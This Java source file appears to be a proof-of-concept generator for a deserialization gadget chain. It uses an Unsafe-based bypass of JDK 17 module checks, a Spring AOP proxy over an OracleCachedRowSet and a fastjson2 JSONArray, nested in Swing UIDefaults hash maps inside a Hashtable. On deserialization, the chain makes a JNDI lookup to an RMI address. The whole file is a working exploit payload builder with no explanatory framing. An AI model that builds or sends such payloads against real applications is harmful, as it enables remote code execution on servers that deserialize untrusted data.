1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145
| package com.example.jdbcparty;
import com.alibaba.fastjson2.JSONArray; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import com.fasterxml.jackson.databind.node.POJONode; import oracle.jdbc.rowset.OracleCachedRowSet; import org.springframework.aop.framework.AdvisedSupport; import sun.misc.Unsafe; import sun.reflect.ReflectionFactory;
import javax.sql.RowSetInternal; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.*;
public class OracleJdbc2 {
public static void main(String[] args) throws Exception {
unsafe_break_jdk17(); OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet(); oracleCachedRowSet.setDataSourceName("rmi://127.0.0.1:1097/remoteobj");
Object proxy = getProxy(oracleCachedRowSet); JSONArray objects = new JSONArray(); objects.add(proxy);
Hashtable hashMapXStringToString = makeTableTstring(objects);
String serialize = serialize(hashMapXStringToString); System.out.println(serialize); Object deserialize = deserialize(serialize);
}
public static void unsafe_break_jdk17() throws Exception { Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Module objectmodule = Object.class.getModule(); Class mainClass = OracleJdbc2.class; long module = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(mainClass,module,objectmodule); }
public static String serialize(Object obj) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(obj); String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return payload; }
public static Object deserialize(String payload) throws Exception { byte[] data = Base64.getDecoder().decode(payload); return new ObjectInputStream(new ByteArrayInputStream(data)).readObject(); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getSuperclass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getProxy(Object obj) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(obj); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{RowSetInternal.class}, handler); return proxyObj; }
public static Hashtable makeTableTstring(Object o) throws Exception{ Map tHashMap1 = (HashMap) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); Map tHashMap2 = (HashMap) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); tHashMap1.put(o,"yy"); tHashMap2.put(o,"zZ"); setValue(tHashMap1,"loadFactor",1); setValue(tHashMap2,"loadFactor",1);
Hashtable hashtable = new Hashtable(); hashtable.put(tHashMap1,1); hashtable.put(tHashMap2,1);
tHashMap1.put(o, null); tHashMap2.put(o, null); return hashtable; }
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); }
public static Object getFieldValue(Object obj, String fieldName) throws Exception{ Field field = null; Class c = obj.getClass(); for (int i = 0; i < 5; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e){ c = c.getSuperclass(); } } field.setAccessible(true); return field.get(obj); }
public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|